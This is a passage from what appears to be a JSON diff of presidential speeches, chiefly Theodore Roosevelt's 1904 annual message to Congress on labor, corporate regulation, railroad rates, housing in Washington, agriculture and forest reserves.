inadequate\nnow, and should be changed. Our Consular force should be classified,\nand appointments should be made to the several classes, with authority\nto the Executive to assign the members of each class to duty at such\nposts as the interests of the service require, instead of the\nappointments being made as at present to specified posts. There should\nbe an adequate inspection service, so that the department may be able\nto inform itself how the business of each Consulate is being done,\ninstead of depending upon casual private information or rumor. The fee\nsystem should be entirely abolished, and a due equivalent made in\nsalary to the officers who now eke out their subsistence by means of\nfees. Sufficient provision should be made for a clerical force in every\nConsulate composed entirely of Americans, instead of the insufficient\nprovision now made, which compels the employment of great numbers of\ncitizens of foreign countries whose services can be obtained for less\nmoney. At a large part of our Consulates the office quarters and the\nclerical force are inadequate to the performance of the onerous duties\nimposed by the recent provisions of our immigration laws as well as by\nour increasing trade. In many parts of the world the lack of suitable\nquarters for our embassies, legations, and Consulates detracts from the\nrespect in which our officers ought to be held, and seriously impairs\ntheir weight and influence.Suitable provision should be made for the expense of keeping our\ndiplomatic officers more fully informed of what is being done from day\nto day in the progress of our diplomatic affairs with other countries.\nThe lack of such information, caused by insufficient appropriations\navailable for cable tolls and for clerical and messenger service,\nfrequently puts our officers at a great disadvantage and detracts from\ntheir usefulness. The salary list should be readjusted. It does not now\ncorrespond either to the importance of the service to be rendered and\nthe degrees of ability and experience required in the different\npositions, or to the differences in the cost of living. In many cases\nthe salaries are quite inadequate.", 
+    "name": "Theodore Roosevelt"
+}
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+{
+    "date": "December 6, 1904", 
+    "speech": "To the Senate and House of Representatives:The Nation continues to enjoy noteworthy prosperity. Such prosperity is\nof course primarily due to the high individual average of our\ncitizenship, taken together with our great natural resources; but an\nimportant factor therein is the working of our long-continued\ngovernmental policies. The people have emphatically expressed their\napproval of the principles underlying these policies, and their desire\nthat these principles be kept substantially unchanged, although of\ncourse applied in a progressive spirit to meet changing conditions.The enlargement of scope of the functions of the National Government\nrequired by our development as a nation involves, of course, increase\nof expense; and the period of prosperity through which the country is\npassing justifies expenditures for permanent improvements far greater\nthan would be wise in hard times. Battle ships and forts, public\nbuildings, and improved waterways are investments which should be made\nwhen we have the money; but abundant revenues and a large surplus\nalways invite extravagance, and constant care should be taken to guard\nagainst unnecessary increase of the ordinary expenses of government.\nThe cost of doing Government business should be regulated with the same\nrigid scrutiny as the cost of doing a private business.In the vast and complicated mechanism of our modern civilized life the\ndominant note is the note of industrialism; and the relations of\ncapital and labor, and especially of organized capital and organized\nlabor, to each other and to the public at large come second in\nimportance only to the intimate questions of family life. Our peculiar\nform of government, with its sharp division of authority between the\nNation and the several States, has been on the whole far more\nadvantageous to our development than a more strongly centralized\ngovernment. But it is undoubtedly responsible for much of the\ndifficulty of meeting with adequate legislation the new problems\npresented by the total change in industrial conditions on this\ncontinent during the last half century. In actual practice it has\nproved exceedingly difficult, and in many cases impossible, to get\nunanimity of wise action among the various States on these subjects.\nFrom the very nature of the case this is especially true of the laws\naffecting the employment of capital in huge masses.With regard to labor the problem is no less important, but it is\nsimpler. As long as the States retain the primary control of the police\npower the circumstances must be altogether extreme which require\ninterference by the Federal authorities, whether in the way of\nsafeguarding the rights of labor or in the way of seeing that wrong is\nnot done by unruly persons who shield themselves behind the name of\nlabor. If there is resistance to the Federal courts, interference with\nthe mails, or interstate commerce, or molestation of Federal property,\nor if the State authorities in some crisis which they are unable to\nface call for help, then the Federal Government may interfere; but\nthough such interference may be caused by a condition of things arising\nout of trouble connected with some question of labor, the interference\nitself simply takes the form of restoring order without regard to the\nquestions which have caused the breach of order--for to keep order is a\nprimary duty and in a time of disorder and violence all other questions\nsink into abeyance until order has been restored. In the District of\nColumbia and in the Territories the Federal law covers the entire field\nof government; but the labor question is only acute in populous centers\nof commerce, manufactures, or mining. Nevertheless, both in the\nenactment and in the enforcement of law the Federal Government within\nits restricted sphere should set an example to the State governments,\nespecially in a matter so vital as this affecting labor. I believe that\nunder modern industrial conditions it is often necessary, and even\nwhere not necessary it is yet often wise, that there should be\norganization of labor in order better to secure the rights of the\nindividual wage-worker. All encouragement should be given to any such\norganization so long as it is conducted with a due and decent regard\nfor the rights of others. There are in this country some labor unions\nwhich have habitually, and other labor unions which have often, been\namong the most effective agents in working for good citizenship and for\nuplifting the condition of those whose welfare should be closest to our\nhearts. But when any labor union seeks improper ends, or seeks to\nachieve proper ends by improper means, all good citizens and more\nespecially all honorable public servants must oppose the wrongdoing as\nresolutely as they would oppose the wrongdoing of any great\ncorporation. Of course any violence, brutality, or corruption, should\nnot for one moment be tolerated. Wage-workers have an entire right to\norganize and by all peaceful and honorable means to endeavor to\npersuade their fellows to join with them in organizations. They have a\nlegal right, which, according to circumstances, may or may not be a\nmoral right, to refuse to work in company with men who decline to join\ntheir organizations. They have under no circumstances the right to\ncommit violence upon these, whether capitalists or wage-workers, who\nrefuse to support their organizations, or who side with those with whom\nthey are at odds; for mob rule is intolerable in any form.The wage-workers are peculiarly entitled to the protection and the\nencouragement of the law. From the very nature of their occupation\nrailroad men, for instance, are liable to be maimed in doing the\nlegitimate work of their profession, unless the railroad companies are\nrequired by law to make ample provision for their safety. The\nAdministration has been zealous in enforcing the existing law for this\npurpose. That law should be amended and strengthened. Wherever the\nNational Government has power there should be a stringent employer's\nliability law, which should apply to the Government itself where the\nGovernment is an employer of labor.In my Message to the Fifty-seventh Congress, at its second session, I\nurged the passage of an employer's liability law for the District of\nColumbia. I now renew that recommendation, and further recommend that\nthe Congress appoint a commission to make a comprehensive study of\nemployer's liability with the view of extending the provisions of a\ngreat and constitutional law to all employments within the scope of\nFederal power.The Government has recognized heroism upon the water, and bestows\nmedals of honor upon those persons who by extreme and heroic daring\nhave endangered their lives in saving, or endeavoring to save, lives\nfrom the perils of the sea in the waters over which the United States\nhas jurisdiction, or upon an American vessel. This recognition should\nbe extended to cover cases of conspicuous bravery and self-sacrifice in\nthe saving of life in private employments under the jurisdiction of the\nUnited States, and particularly in the land commerce of the Nation.The ever-increasing casualty list upon our railroads is a matter of\ngrave public concern, and urgently calls for action by the Congress. In\nthe matter of speed and comfort of railway travel our railroads give at\nleast as good service as those of any other nation, and there is no\nreason why this service should not also be as safe as human ingenuity\ncan make it. Many of our leading roads have been foremost in the\nadoption of the most approved safeguards for the protection of\ntravelers and employees, yet the list of clearly avoidable accidents\ncontinues unduly large. The passage of a law requiring the adoption of\na block-signal system has been proposed to the Congress. I earnestly\nconcur in that recommendation, and would also point out to the Congress\nthe urgent need of legislation in the interest of the public safety\nlimiting the hours of labor for railroad employees in train service\nupon railroads engaged in interstate commerce, and providing that only\ntrained and experienced persons be employed in positions of\nresponsibility connected with the operation of trains. Of course\nnothing can ever prevent accidents caused by human weakness or\nmisconduct; and there should be drastic punishment for any railroad\nemployee, whether officer or man, who by issuance of wrong orders or by\ndisobedience of orders causes disaster. The law of 1901, requiring\ninterstate railroads to make monthly reports of all accidents to\npassengers and employees on duty, should also be amended so as to\nempower the Government to make a personal investigation, through proper\nofficers, of all accidents involving loss of life which seem to require\ninvestigation, with a requirement that the results of such\ninvestigation be made public.The safety-appliance law, as amended by the act of March 2, 1903, has\nproved beneficial to railway employees, and in order that its\nprovisions may be properly carried out, the force of inspectors\nprovided for by appropriation should be largely increased. This service\nis analogous to the Steamboat-Inspection Service, and deals with even\nmore important interests. It has passed the experimental stage and\ndemonstrated its utility, and should receive generous recognition by\nthe Congress.There is no objection to employees of the Government forming or\nbelonging to unions; but the Government can neither discriminate for\nnor discriminate against nonunion men who are in its employment, or who\nseek to be employed under it. Moreover, it is a very grave impropriety\nfor Government employees to band themselves together for the purpose of\nextorting improperly high salaries from the Government. Especially is\nthis true of those within the classified service. The letter carriers,\nboth municipal and rural, are as a whole an excellent body of public\nservants. They should be amply paid. But their payment must be obtained\nby arguing their claims fairly and honorably before the Congress, and\nnot by banding together for the defeat of those Congressmen who refuse\nto give promises which they can not in conscience give. The\nAdministration has already taken steps to prevent and punish abuses of\nthis nature; but it will be wise for the Congress to supplement this\naction by legislation.Much can be done by the Government in labor matters merely by giving\npublicity to certain conditions. The Bureau of Labor has done excellent\nwork of this kind in many different directions. I shall shortly lay\nbefore you in a special message the full report of the investigation of\nthe Bureau of Labor into the Colorado mining strike, as this was a\nstrike in which certain very evil forces, which are more or less at\nwork everywhere under the conditions of modern industrialism, became\nstartlingly prominent. It is greatly to be wished that the Department\nof Commerce and Labor, through the Labor Bureau, should compile and\narrange for the Congress a list of the labor laws of the various\nStates, and should be given the means to investigate and report to the\nCongress upon the labor conditions in the manufacturing and mining\nregions throughout the country, both as to wages, as to hours of labor,\nas to the labor of women and children, and as to the effect in the\nvarious labor centers of immigration from abroad. In this investigation\nespecial attention should be paid to the conditions of child labor and\nchild-labor legislation in the several States. Such an investigation\nmust necessarily take into account many of the problems with which this\nquestion of child labor is connected. These problems can be actually\nmet, in most cases, only by the States themselves; but the lack of\nproper legislation in one State in such a matter as child labor often\nrenders it excessively difficult to establish protective restriction\nupon the work in another State having the same industries, so that the\nworst tends to drag down the better. For this reason, it would be well\nfor the Nation at least to endeavor to secure comprehensive information\nas to the conditions of labor of children in the different States. Such\ninvestigation and publication by the National Government would tend\ntoward the securing of approximately uniform legislation of the proper\ncharacter among the several States.When we come to deal with great corporations the need for the\nGovernment to act directly is far greater than in the case of labor,\nbecause great corporations can become such only by engaging in\ninterstate commerce, and interstate commerce is peculiarly the field of\nthe General Government. It is an absurdity to expect to eliminate the\nabuses in great corporations by State action. It is difficult to be\npatient with an argument that such matters should be left to the States\nbecause more than one State pursues the policy of creating on easy\nterms corporations which are never operated within that State at all,\nbut in other States whose laws they ignore. The National Government\nalone can deal adequately with these great corporations. To try to deal\nwith them in an intemperate, destructive, or demagogic spirit would, in\nall probability, mean that nothing whatever would be accomplished, and,\nwith absolute certainty, that if anything were accomplished it would be\nof a harmful nature. The American people need to continue to show the\nvery qualities that they have shown--that is, moderation, good sense,\nthe earnest desire to avoid doing any damage, and yet the quiet\ndetermination to proceed, step by step, without halt and without hurry,\nin eliminating or at least in minimizing whatever of mischief or evil\nthere is to interstate commerce in the conduct of great corporations.\nThey are acting in no spirit of hostility to wealth, either individual\nor corporate. They are not against the rich man any more than against\nthe poor man. On the contrary, they are friendly alike toward rich man\nand toward poor man, provided only that each acts in a spirit of\njustice and decency toward his fellows. Great corporations are\nnecessary, and only men of great and singular mental power can manage\nsuch corporations successfully, and such men must have great rewards.\nBut these corporations should be managed with due regard to the\ninterest of the public as a whole. Where this can be done under the\npresent laws it must be done. Where these laws come short others should\nbe enacted to supplement them.Yet we must never forget the determining factor in every kind of work,\nof head or hand, must be the man's own good sense, courage, and\nkindliness. More important than any legislation is the gradual growth\nof a feeling of responsibility and forbearance among capitalists, and\nwage-workers alike; a feeling of respect on the part of each man for\nthe rights of others; a feeling of broad community of interest, not\nmerely of capitalists among themselves, and of wage-workers among\nthemselves, but of capitalists and wage-workers in their relations to\neach other, and of both in their relations to their fellows who with\nthem make up the body politic. There are many captains of industry,\nmany labor leaders, who realize this. A recent speech by the president\nof one of our great railroad systems to the employees of that system\ncontains sound common sense. It rims in part as follows:\"It is my belief we can better serve each other, better understand the\nman as well as his business, when meeting face to face, exchanging\nviews, and realizing from personal contact we serve but one interest,\nthat of our mutual prosperity.\"Serious misunderstandings can not occur where personal good will\nexists and opportunity for personal explanation is present.\"In my early business life I had experience with men of affairs of a\ncharacter to make me desire to avoid creating a like feeling of\nresentment to myself and the interests in my charge, should fortune\never place me in authority, and I am solicitous of a measure of\nconfidence on the part of the public and our employees that I shall\nhope may be warranted by the fairness and good fellowship I intend\nshall prevail in our relationship.\"But do not feel I am disposed to grant unreasonable requests, spend\nthe money of our company unnecessarily or without value received, nor\nexpect the days of mistakes are disappearing, or that cause for\ncomplaint will not continually occur; simply to correct such abuses as\nmay be discovered, to better conditions as fast as reasonably may be\nexpected, constantly striving, with varying success, for that\nimprovement we all desire, to convince you there is a force at work in\nthe right direction, all the time making progress--is the disposition\nwith which I have come among you, asking your good will and\nencouragement.\"The day has gone by when a corporation can be handled successfully in\ndefiance of the public will, even though that will be unreasonable and\nwrong. A public may be led, but not driven, and I prefer to go with it\nand shape or modify, in a measure, its opinion, rather than be swept\nfrom my bearings, with loss to myself and the interests in my charge.\"Violent prejudice exists towards corporate activity and capital today,\nmuch of it founded in reason, more in apprehension, and a large measure\nis due to the personal traits of arbitrary, unreasonable, incompetent,\nand offensive men in positions of authority. The accomplishment of\nresults by indirection, the endeavor to thwart the intention, if not\nthe expressed letter of the law (the will of the people), a disregard\nof the rights of others, a disposition to withhold what is due, to\nforce by main strength or inactivity a result not justified, depending\nupon the weakness of the claimant and his indisposition to become\ninvolved in litigation, has created a sentiment harmful in the extreme\nand a disposition to consider anything fair that gives gain to the\nindividual at the expense of the company.\"If corporations are to continue to do the world's work, as they are\nbest fitted to, these qualities in their representatives that have\nresulted in the present prejudice against them must be relegated to the\nbackground. The corporations must come out into the open and see and be\nseen. They must take the public into their confidence and ask for what\nthey want, and no more, and be prepared to explain satisfactorily what\nadvantage will accrue to the public if they are given their desires;\nfor they are permitted to exist not that they may make money solely,\nbut that they may effectively serve those from whom they derive their\npower.\"Publicity, and not secrecy, will win hereafter, and laws be construed\nby their intent and not by their letter, otherwise public utilities\nwill be owned and operated by the public which created them, even\nthough the service be less efficient and the result less satisfactory\nfrom a financial standpoint.\"The Bureau of Corporations has made careful preliminary investigation\nof many important corporations. It will make a special report on the\nbeef industry.The policy of the Bureau is to accomplish the purposes of its creation\nby co-operation, not antagonism; by making constructive legislation,\nnot destructive prosecution, the immediate object of its inquiries; by\nconservative investigation of law and fact, and by refusal to issue\nincomplete and hence necessarily inaccurate reports. Its policy being\nthus one of open inquiry into, and not attack upon, business, the\nBureau has been able to gain not only the confidence, but, better\nstill, the cooperation of men engaged in legitimate business.The Bureau offers to the Congress the means of getting at the cost of\nproduction of our various great staples of commerce.Of necessity the careful investigation of special corporations will\nafford the Commissioner knowledge of certain business facts, the\npublication of which might be an improper infringement of private\nrights. The method of making public the results of these investigations\naffords, under the law, a means for the protection of private rights.\nThe Congress will have all facts except such as would give to another\ncorporation information which would injure the legitimate business of a\ncompetitor and destroy the incentive for individual superiority and\nthrift.The Bureau has also made exhaustive examinations into the legal\ncondition under which corporate business is carried on in the various\nStates; into all judicial decisions on the subject; and into the\nvarious systems of corporate taxation in use. I call special attention\nto the report of the chief of the Bureau; and I earnestly ask that the\nCongress carefully consider the report and recommendations of the\nCommissioner on this subject.The business of insurance vitally affects the great mass of the people\nof the United States and is national and not local in its application.\nIt involves a multitude of transactions among the people of the\ndifferent States and between American companies and foreign\ngovernments. I urge that the Congress carefully consider whether the\npower of the Bureau of Corporations can not constitutionally be\nextended to cover interstate transactions in insurance.Above all else, we must strive to keep the highways of commerce open to\nall on equal terms; and to do this it is necessary to put a complete\nstop to all rebates. Whether the shipper or the railroad is to blame\nmakes no difference; the rebate must be stopped, the abuses of the\nprivate car and private terminal-track and side-track systems must be\nstopped, and the legislation of the Fifty-eighth Congress which\ndeclares it to be unlawful for any person or corporation to offer,\ngrant, give, solicit, accept, or receive any rebate, concession, or\ndiscrimination in respect of the transportation of any property in\ninterstate or foreign commerce whereby such property shall by any\ndevice whatever be transported at a less rate than that named in the\ntariffs published by the carrier must be enforced. For some time after\nthe enactment of the Act to Regulate Commerce it remained a mooted\nquestion whether that act conferred upon the Interstate Commerce\nCommission the power, after it had found a challenged rate to be\nunreasonable, to declare what thereafter should, prima facie, be the\nreasonable maximum rate for the transportation in dispute. The Supreme\nCourt finally resolved that question in the negative, so that as the\nlaw now stands the Commission simply possess the bare power to denounce\na particular rate as unreasonable. While I am of the opinion that at\npresent it would be undesirable, if it were not impracticable, finally\nto clothe the Commission with general authority to fix railroad rates,\nI do believe that, as a fair security to shippers, the Commission\nshould be vested with the power, where a given rate has been challenged\nand after full hearing found to be unreasonable, to decide, subject to\njudicial review, what shall be a reasonable rate to take its place; the\nruling of the Commission to take effect immediately, and to obtain\nunless and until it is reversed by the court of review. The Government\nmust in increasing degree supervise and regulate the workings of the\nrailways engaged in interstate commerce; and such increased supervision\nis the only alternative to an increase of the present evils on the one\nhand or a still more radical policy on the other. In my judgment the\nmost important legislative act now needed as regards the regulation of\ncorporations is this act to confer on the Interstate Commerce\nCommission the power to revise rates and regulations, the revised rate\nto at once go into effect, and stay in effect unless and until the\ncourt of review reverses it.Steamship companies engaged in interstate commerce and protected in our\ncoastwise trade should be held to a strict observance of the interstate\ncommerce act.In pursuing the set plan to make the city of Washington an example to\nother American municipalities several points should be kept in mind by\nthe legislators. In the first place, the people of this country should\nclearly understand that no amount of industrial prosperity, and above\nall no leadership in international industrial competition, can in any\nway atone for the sapping of the vitality of those who are usually\nspoken of as the working classes. The farmers, the mechanics, the\nskilled and unskilled laborers, the small shop keepers, make up the\nbulk of the population of any country; and upon their well-being,\ngeneration after generation, the well-being of the country and the race\ndepends. Rapid development in wealth and industrial leadership is a\ngood thing, but only if it goes hand in hand with improvement, and not\ndeterioration, physical and moral. The over-crowding of cities and the\ndraining of country districts are unhealthy and even dangerous symptoms\nin our modern life. We should not permit overcrowding in cities. In\ncertain European cities it is provided by law that the population of\ntowns shall not be allowed to exceed a very limited density for a given\narea, so that the increase in density must be continually pushed back\ninto a broad zone around the center of the town, this zone having great\navenues or parks within it. The death-rate statistics show a terrible\nincrease in mortality, and especially in infant mortality, in\novercrowded tenements. The poorest families in tenement houses live in\none room, and it appears that in these one-room tenements the average\ndeath rate for a number of given cities at home and abroad is about\ntwice what it is in a two-room tenement, four times what it is in a\nthree-room tenement, and eight times what it is in a tenement\nconsisting of four rooms or over. These figures vary somewhat for\ndifferent cities, but they approximate in each city those given above;\nand in all cases the increase of mortality, and especially of infant\nmortality, with the decrease in the number of rooms used by the family\nand with the consequent overcrowding is startling. The slum exacts a\nheavy total of death from those who dwell therein; and this is the case\nnot merely in the great crowded slums of high buildings in New York and\nChicago, but in the alley slums of Washington. In Washington people can\nnot afford to ignore the harm that this causes. No Christian and\ncivilized community can afford to show a happy-go-lucky lack of concern\nfor the youth of to-day; for, if so, the community will have to pay a\nterrible penalty of financial burden and social degradation in the\nto-morrow. There should be severe child-labor and factory-inspection\nlaws. It is very desirable that married women should not work in\nfactories. The prime duty of the man is to work, to be the breadwinner;\nthe prime duty of the woman is to be the mother, the housewife. All\nquestions of tariff and finance sink into utter insignificance when\ncompared with the tremendous, the vital importance of trying to shape\nconditions so that these two duties of the man and of the woman can be\nfulfilled under reasonably favorable circumstances. If a race does not\nhave plenty of children, or if the children do not grow up, or if when\nthey grow up they are unhealthy in body and stunted or vicious in mind,\nthen that race is decadent, and no heaping up of wealth, no splendor of\nmomentary material prosperity, can avail in any degree as offsets.  The\nCongress has the same power of legislation for the District of Columbia\nwhich the State legislatures have for the various States. The problems\nincident to our highly complex modern industrial civilization, with its\nmanifold and perplexing tendencies both for good and for evil, are far\nless sharply accentuated in the city of Washington than in most other\ncities. For this very reason it is easier to deal with the various\nphases of these problems in Washington, and the District of Columbia\ngovernment should be a model for the other municipal governments of the\nNation, in all such matters as supervision of the housing of the poor,\nthe creation of small parks in the districts inhabited by the poor, in\nlaws affecting labor, in laws providing for the taking care of the\nchildren, in truant laws, and in providing schools.In the vital matter of taking care of children, much advantage could be\ngained by a careful study of what has been accomplished in such States\nas Illinois and Colorado by the juvenile courts. The work of the\njuvenile court is really a work of character building. It is now\ngenerally recognized that young boys and young girls who go wrong\nshould not be treated as criminals, not even necessarily as needing\nreformation, but rather as needing to have their characters formed, and\nfor this end to have them tested and developed by a system of\nprobation. Much admirable work has been done in many of our\nCommonwealths by earnest men and women who have made a special study of\nthe needs of those classes of children which furnish the greatest\nnumber of juvenile offenders, and therefore the greatest number of\nadult offenders; and by their aid, and by profiting by the experiences\nof the different States and cities in these matters, it would be easy\nto provide a good code for the District of Columbia.Several considerations suggest the need for a systematic investigation\ninto and improvement of housing conditions in Washington. The hidden\nresidential alleys are breeding grounds of vice and disease, and should\nbe opened into minor streets. For a number of years influential\ncitizens have joined with the District Commissioners in the vain\nendeavor to secure laws permitting the condemnation of insanitary\ndwellings. The local death rates, especially from preventable diseases,\nare so unduly high as to suggest that the exceptional wholesomeness of\nWashington's better sections is offset by bad conditions in her poorer\nneighborhoods. A special \"Commission on Housing and Health Conditions\nin the National Capital\" would not only bring about the reformation of\nexisting evils, but would also formulate an appropriate building code\nto protect the city from mammoth brick tenements and other evils which\nthreaten to develop here as they have in other cities. That the\nNation's Capital should be made a model for other municipalities is an\nideal which appeals to all patriotic citizens everywhere, and such a\nspecial Commission might map out and organize the city's future\ndevelopment in lines of civic social service, just as Major L'Enfant\nand the recent Park Commission planned the arrangement of her streets\nand parks.It is mortifying to remember that Washington has no compulsory school\nattendance law and that careful inquiries indicate the habitual absence\nfrom school of some twenty per cent of all children between the ages of\neight and fourteen. It must be evident to all who consider the problems\nof neglected child life or the benefits of compulsory education in\nother cities that one of the most urgent needs of the National Capital\nis a law requiring the school attendance of all children, this law to\nbe enforced by attendance agents directed by the board of education.Public play grounds are necessary means for the development of\nwholesome citizenship in modern cities. It is important that the work\ninaugurated here through voluntary efforts should be taken up and\nextended through Congressional appropriation of funds sufficient to\nequip and maintain numerous convenient small play grounds upon land\nwhich can be secured without purchase or rental. It is also desirable\nthat small vacant places be purchased and reserved as small-park play\ngrounds in densely settled sections of the city which now have no\npublic open spaces and are destined soon to be built up solidly. All\nthese needs should be met immediately. To meet them would entail\nexpenses; but a corresponding saving could be made by stopping the\nbuilding of streets and levelling of ground for purposes largely\nspeculative in outlying parts of the city.There are certain offenders, whose criminality takes the shape of\nbrutality and cruelty towards the weak, who need a special type of\npunishment. The wife-beater, for example, is inadequately punished by\nimprisonment; for imprisonment may often mean nothing to him, while it\nmay cause hunger and want to the wife and children who have been the\nvictims of his brutality. Probably some form of corporal punishment\nwould be the most adequate way of meeting this kind of crime.The Department of Agriculture has grown into an educational institution\nwith a faculty of two thousand specialists making research into all the\nsciences of production. The Congress appropriates, directly and\nindirectly, six millions of dollars annually to carry on this work. It\nreaches every State and Territory in the Union and the islands of the\nsea lately come under our flag. Co-operation is had with the State\nexperiment stations, and with many other institutions and individuals.\nThe world is carefully searched for new varieties of grains, fruits,\ngrasses, vegetables, trees, and shrubs, suitable to various localities\nin our country; and marked benefit to our producers has resulted.The activities of our age in lines of research have reached the tillers\nof the soil and inspired them with ambition to know more of the\nprinciples that govern the forces of nature with which they have to\ndeal. Nearly half of the people of this country devote their energies\nto growing things from the soil. Until a recent date little has been\ndone to prepare these millions for their life work. In most lines of\nhuman activity college-trained men are the leaders. The farmer had no\nopportunity for special training until the Congress made provision for\nit forty years ago. During these years progress has been made and\nteachers have been prepared. Over five thousand students are in\nattendance at our State agricultural colleges. The Federal Government\nexpends ten millions of dollars annually toward this education and for\nresearch in Washington and in the several States and Territories. The\nDepartment of Agriculture has given facilities for post-graduate work\nto five hundred young men during the last seven years, preparing them\nfor advance lines of work in the Department and in the State\ninstitutions.The facts concerning meteorology and its relations to plant and animal\nlife are being systematically inquired into. Temperature and moisture\nare controlling factors in all agricultural operations. The seasons of\nthe cyclones of the Caribbean Sea and their paths are being forecasted\nwith increasing accuracy. The cold winds that come from the north are\nanticipated and their times and intensity told to farmers, gardeners,\nand fruiterers in all southern localities.We sell two hundred and fifty million dollars' worth of animals and\nanimal products to foreign countries every year, in addition to\nsupplying our own people more cheaply and abundantly than any other\nnation is able to provide for its people. Successful manufacturing\ndepends primarily on cheap food, which accounts to a considerable\nextent for our growth in this direction. The Department of Agriculture,\nby careful inspection of meats, guards the health of our people and\ngives clean bills of health to deserving exports; it is prepared to\ndeal promptly with imported diseases of animals, and maintain the\nexcellence of our flocks and herds in this respect. There should be an\nannual census of the live stock of the Nation.We sell abroad about six hundred million dollars' worth of plants and\ntheir products every year. Strenuous efforts are being made to import\nfrom foreign countries such grains as are suitable to our varying\nlocalities. Seven years ago we bought three-fourths of our rice; by\nhelping the rice growers on the Gulf coast to secure seeds from the\nOrient suited to their conditions, and by giving them adequate\nprotection, they now supply home demand and export to the islands of\nthe Caribbean Sea and to other rice-growing countries. Wheat and other\ngrains have been imported from light-rainfall countries to our lands in\nthe West and Southwest that have not grown crops because of light\nprecipitation, resulting in an extensive addition to our cropping area\nand our home-making territory that can not be irrigated. Ten million\nbushels of first-class macaroni wheat were grown from these\nexperimental importations last year. Fruits suitable to our soils and\nclimates are being imported from all the countries of the Old\nWorld--the fig from Turkey, the almond from Spain, the date from\nAlgeria, the mango from India. We are helping our fruit growers to get\ntheir crops into European markets by studying methods of preservation\nthrough refrigeration, packing, and handling, which have been quite\nsuccessful. We are helping our hop growers by importing varieties that\nripen earlier and later than the kinds they have been raising, thereby\nlengthening the harvesting season. The cotton crop of the country is\nthreatened with root rot, the bollworm, and the boll weevil. Our\npathologists will find immune varieties that will resist the root\ndisease, and the bollworm can be dealt with, but the boll weevil is a\nserious menace to the cotton crop. It is a Central American insect that\nhas become acclimated in Texas and has done great damage. A scientist\nof the Department of Agriculture has found the weevil at home in\nGuatemala being kept in check by an ant, which has been brought to our\ncotton fields for observation. It is hoped that it may serve a good\npurpose.The soils of the country are getting attention from the farmer's\nstandpoint, and interesting results are following. We have duplicates\nof the soils that grow the wrapper tobacco in Sumatra and the filler\ntobacco in Cuba. It will be only a question of time when the large\namounts paid to these countries will be paid to our own people. The\nreclamation of alkali lands is progressing, to give object lessons to\nour people in methods by which worthless lands may be made productive.The insect friends and enemies of the farmer are getting attention. The\nenemy of the San Jose scale was found near the Great Wall of China, and\nis now cleaning up all our orchards. The fig-fertilizing insect\nimported from Turkey has helped to establish an industry in California\nthat amounts to from fifty to one hundred tons of dried figs annually,\nand is extending over the Pacific coast. A parasitic fly from South\nAfrica is keeping in subjection the black scale, the worst pest of the\norange and lemon industry in California.Careful preliminary work is being done towards producing our own silk.\nThe mulberry is being distributed in large numbers, eggs are being\nimported and distributed, improved reels were imported from Europe last\nyear, and two expert reelers were brought to Washington to reel the\ncrop of cocoons and teach the art to our own people.The crop-reporting system of the Department of Agriculture is being\nbrought closer to accuracy every year. It has two hundred and fifty\nthousand reporters selected from people in eight vocations in life. It\nhas arrangements with most European countries for interchange of\nestimates, so that our people may know as nearly as possible with what\nthey must compete.During the two and a half years that have elapsed since the passage of\nthe reclamation act rapid progress has been made in the surveys and\nexaminations of the opportunities for reclamation in the thirteen\nStates and three Territories of the arid West. Construction has already\nbeen begun on the largest and most important of the irrigation works,\nand plans are being completed for works which will utilize the funds\nnow available. The operations are being carried on by the Reclamation\nService, a corps of engineers selected through competitive\ncivil-service examinations. This corps includes experienced consulting\nand constructing engineers as well as various experts in mechanical and\nlegal matters, and is composed largely of men who have spent most of\ntheir lives in practical affairs connected with irrigation. The larger\nproblems have been solved and it now remains to execute with care,\neconomy, and thoroughness the work which has been laid out. All\nimportant details are being carefully considered by boards of\nconsulting engineers, selected for their thorough knowledge and\npractical experience. Each project is taken up on the ground by\ncompetent men and viewed from the standpoint of the creation of\nprosperous homes, and of promptly refunding to the Treasury the cost of\nconstruction. The reclamation act has been found to be remarkably\ncomplete and effective, and so broad in its provisions that a wide\nrange of undertakings has been possible under it. At the same time,\neconomy is guaranteed by the fact that the funds must ultimately be\nreturned to be used over again.It is the cardinal principle of the forest-reserve policy of this\nAdministration that the reserves are for use. Whatever interferes with\nthe use of their resources is to be avoided by every possible means.\nBut these resources must be used in such a way as to make them\npermanent.The forest policy of the Government is just now a subject of vivid\npublic interest throughout the West and to the people of the United\nStates in general. The forest reserves themselves are of extreme value\nto the present as well as to the future welfare of all the western\npublic-land States. They powerfully affect the use and disposal of the\npublic lands. They are of special importance because they preserve the\nwater supply and the supply of timber for domestic purposes, and so\npromote settlement under the reclamation act. Indeed, they are\nessential to the welfare of every one of the great interests of the\nWest.Forest reserves are created for two principal purposes. The first is to\npreserve the water supply. This is their most important use. The\nprincipal users of the water thus preserved are irrigation ranchers and\nsettlers, cities and towns to whom their municipal water supplies are\nof the very first importance, users and furnishers of water power, and\nthe users of water for domestic, manufacturing, mining, and other\npurposes. All these are directly dependent upon the forest reserves.The second reason for which forest reserves are created is to preserve\nthe timber supply for various classes of wood users. Among the more\nimportant of these are settlers under the reclamation act and other\nacts, for whom a cheap and accessible supply of timber for domestic\nuses is absolutely necessary; miners and prospectors, who are in\nserious danger of losing their timber supply by fire or through export\nby lumber companies when timber lands adjacent to their mines pass into\nprivate ownership; lumbermen, transportation companies, builders, and\ncommercial interests in general.Although the wisdom of creating forest reserves is nearly everywhere\nheartily recognized, yet in a few localities there has been\nmisunderstanding and complaint. The following statement is therefore\ndesirable:The forest reserve policy can be successful only when it has the full\nsupport of the people of the West. It can not safely, and should not in\nany case, be imposed upon them against their will. But neither can we\naccept the views of those whose only interest in the forest is\ntemporary; who are anxious to reap what they have not sown and then\nmove away, leaving desolation behind them. On the contrary, it is\neverywhere and always the interest of the permanent settler and the\npermanent business man, the man with a stake in the country, which must\nbe considered and which must decide.The making of forest reserves within railroad and wagon-road land-grant\nlimits will hereafter, as for the past three years, be so managed as to\nprevent the issue, under the act of June 4, 1897, of base for exchange\nor lieu selection (usually called scrip). In all cases where forest\nreserves within areas covered by land grants appear to be essential to\nthe prosperity of settlers, miners, or others, the Government lands\nwithin such proposed forest reserves will, as in the recent past, be\nwithdrawn from sale or entry pending the completion of such\nnegotiations with the owners of the land grants as will prevent the\ncreation of so-called scrip.It was formerly the custom to make forest reserves without first\ngetting definite and detailed information as to the character of land\nand timber within their boundaries. This method of action often\nresulted in badly chosen boundaries and consequent injustice to\nsettlers and others. Therefore this Administration adopted the present\nmethod of first withdrawing the land from disposal, followed by careful\nexamination on the ground and the preparation of detailed maps and\ndescriptions, before any forest reserve is created.I have repeatedly called attention to the confusion which exists in\nGovernment forest matters because the work is scattered among three\nindependent organizations. The United States is the only one of the\ngreat nations in which the forest work of the Government is 